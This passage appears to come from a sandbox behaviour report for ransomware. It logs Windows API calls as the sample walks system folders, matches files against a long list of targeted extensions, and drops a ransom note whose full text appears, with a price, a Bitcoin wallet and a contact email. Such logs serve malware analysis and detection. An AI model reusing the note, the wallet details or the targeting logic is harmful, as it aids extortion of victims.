lstrlenA (lpString="*.msg") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.edb") returned 0 [0101.398] lstrlenA (lpString="*.edb") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.accdb") returned 0 [0101.398] lstrlenA (lpString="*.accdb") returned 7 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.odb") returned 0 [0101.398] lstrlenA (lpString="*.odb") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.java") returned 0 [0101.398] lstrlenA (lpString="*.java") returned 6 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.asm") returned 0 [0101.398] lstrlenA (lpString="*.asm") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.pfx") returned 0 [0101.398] lstrlenA (lpString="*.pfx") returned 5 [0101.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.pem") returned 0 [0101.399] lstrlenA (lpString="*.pem") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.p12") returned 0 [0101.399] lstrlenA (lpString="*.p12") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.gpg") returned 0 [0101.399] lstrlenA (lpString="*.gpg") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.vsd") returned 0 [0101.399] lstrlenA (lpString="*.vsd") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.odg") returned 0 [0101.399] lstrlenA (lpString="*.odg") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.raw") returned 0 [0101.399] lstrlenA (lpString="*.raw") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.nef") returned 0 [0101.399] lstrlenA (lpString="*.nef") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.svg") returned 0 [0101.399] lstrlenA (lpString="*.svg") returned 5 [0101.399] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.psd") returned 0 [0101.399] lstrlenA (lpString="*.psd") returned 5 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.vmx") returned 0 [0101.400] lstrlenA (lpString="*.vmx") returned 5 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.vmdk") returned 0 [0101.400] lstrlenA (lpString="*.vmdk") returned 6 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.vdi") returned 0 [0101.400] lstrlenA (lpString="*.vdi") returned 5 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.lay6") returned 0 [0101.400] lstrlenA (lpString="*.lay6") returned 6 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mpeg") returned 0 [0101.400] lstrlenA (lpString="*.mpeg") returned 6 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.djvu") returned 0 [0101.400] lstrlenA (lpString="*.djvu") returned 6 [0101.400] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.tiff") returned 0 [0101.400] lstrlenA (lpString="*.tiff") returned 6 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.backup") returned 0 [0101.401] lstrlenA (lpString="*.backup") returned 8 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.pdf") returned 0 [0101.401] lstrlenA (lpString="*.pdf") returned 5 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.cert") returned 0 [0101.401] lstrlenA (lpString="*.cert") returned 6 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.docm") returned 0 [0101.401] lstrlenA (lpString="*.docm") returned 6 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.xlsm") returned 0 [0101.401] lstrlenA (lpString="*.xlsm") returned 6 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.dwg") returned 0 [0101.401] lstrlenA (lpString="*.dwg") returned 5 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.nd") returned 0 [0101.401] lstrlenA (lpString="*.nd") returned 4 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.tlg") returned 0 [0101.401] lstrlenA (lpString="*.tlg") returned 5 [0101.401] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.lgb") returned 0 [0101.402] lstrlenA (lpString="*.lgb") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mov") returned 0 [0101.402] lstrlenA (lpString="*.mov") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.xdw") returned 0 [0101.402] lstrlenA (lpString="*.xdw") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.ods") returned 0 [0101.402] lstrlenA (lpString="*.ods") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.wav") returned 0 [0101.402] lstrlenA (lpString="*.wav") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.mp3") returned 0 [0101.402] lstrlenA (lpString="*.mp3") returned 5 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.aiff") returned 0 [0101.402] lstrlenA (lpString="*.aiff") returned 6 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.flac") returned 0 [0101.402] lstrlenA (lpString="*.flac") returned 6 [0101.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.m4a") returned 0 [0101.403] lstrlenA (lpString="*.m4a") returned 5 [0101.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationCFFRasterizer\\3.0.0.0__31bf3856ad364e35\\PresentationCFFRasterizer.dll", pszSpec="*.csv") returned 0 [0101.403] lstrlenA (lpString="*.csv") returned 5 [0101.403] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973c7be, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x973c7be, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7dedaebc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCFFRasterizer.dll", cAlternateFileName="")) returned 0 [0101.403] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.403] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.403] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.404] lstrcmpA (lpString1=".", lpString2="PresentationFontCache") returned -1 [0101.404] lstrcmpA (lpString1="..", lpString2="PresentationFontCache") returned -1 [0101.404] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.404] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationFontCache" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache" [0101.404] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache") returned 50 [0101.404] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.405] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.405] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.405] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.405] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.405] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.405] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\*.*") returned="*.*" [0101.405] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35" [0101.405] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35") returned 76 [0101.405] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.406] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.406] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFontCache.exe") returned -1 [0101.406] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFontCache.exe") returned -1 [0101.406] lstrcmpiA (lpString1="", lpString2="PresentationFontCache.exe") returned -1 [0101.406] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\" [0101.407] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.407] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.407] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationfontcache\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.407] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationfontcache\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.408] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.408] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.410] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.410] CloseHandle (hObject=0x90) returned 1 [0101.410] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFontCache.exe" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe" [0101.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.ems") returned 0 [0101.410] lstrlenA (lpString="*.ems") returned 5 [0101.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.db") returned 0 [0101.410] lstrlenA (lpString="*.db") returned 4 [0101.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.dbf") returned 0 [0101.411] lstrlenA (lpString="*.dbf") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.myox") returned 0 [0101.411] lstrlenA (lpString="*.myox") returned 6 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.myo") returned 0 [0101.411] lstrlenA (lpString="*.myo") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbw") returned 0 [0101.411] lstrlenA (lpString="*.qbw") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbb") returned 0 [0101.411] lstrlenA (lpString="*.qbb") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbm") returned 0 [0101.411] lstrlenA (lpString="*.qbm") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbo") returned 0 [0101.411] lstrlenA (lpString="*.qbo") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbx") returned 0 [0101.411] lstrlenA (lpString="*.qbx") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qba") returned 0 [0101.411] lstrlenA (lpString="*.qba") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qby") returned 0 [0101.411] lstrlenA (lpString="*.qby") returned 5 [0101.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qbj") returned 0 [0101.412] lstrlenA (lpString="*.qbj") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.ofx") returned 0 [0101.412] lstrlenA (lpString="*.ofx") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.qif") returned 0 [0101.412] lstrlenA (lpString="*.qif") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.mye") returned 0 [0101.412] lstrlenA (lpString="*.mye") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.mbox") returned 0 [0101.412] lstrlenA (lpString="*.mbox") returned 6 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.eml") returned 0 [0101.412] lstrlenA (lpString="*.eml") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.pst") returned 0 [0101.412] lstrlenA (lpString="*.pst") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.ost") returned 0 [0101.412] lstrlenA (lpString="*.ost") returned 5 [0101.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.idx") returned 0 [0101.413] lstrlenA (lpString="*.idx") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.dbx") returned 0 [0101.413] lstrlenA (lpString="*.dbx") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.sql") returned 0 [0101.413] lstrlenA (lpString="*.sql") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.mdb") returned 0 [0101.413] lstrlenA (lpString="*.mdb") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.fdb") returned 0 [0101.413] lstrlenA (lpString="*.fdb") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.wab") returned 0 [0101.413] lstrlenA (lpString="*.wab") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.dat") returned 0 [0101.413] lstrlenA (lpString="*.dat") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.txt") returned 0 [0101.413] lstrlenA (lpString="*.txt") returned 5 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.jpeg") returned 0 [0101.413] lstrlenA (lpString="*.jpeg") returned 6 [0101.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.jpg") returned 0 [0101.414] lstrlenA (lpString="*.jpg") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.png") returned 0 [0101.414] lstrlenA (lpString="*.png") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.php") returned 0 [0101.414] lstrlenA (lpString="*.php") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.cs") returned 0 [0101.414] lstrlenA (lpString="*.cs") returned 4 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.cpp") returned 0 [0101.414] lstrlenA (lpString="*.cpp") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.rar") returned 0 [0101.414] lstrlenA (lpString="*.rar") returned 5 [0101.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFontCache\\3.0.0.0__31bf3856ad364e35\\PresentationFontCache.exe", pszSpec="*.zip") returned 0 [0101.414] lstrlenA (lpString="*.zip") returned 5 [0101.414] PathMatchSpecA 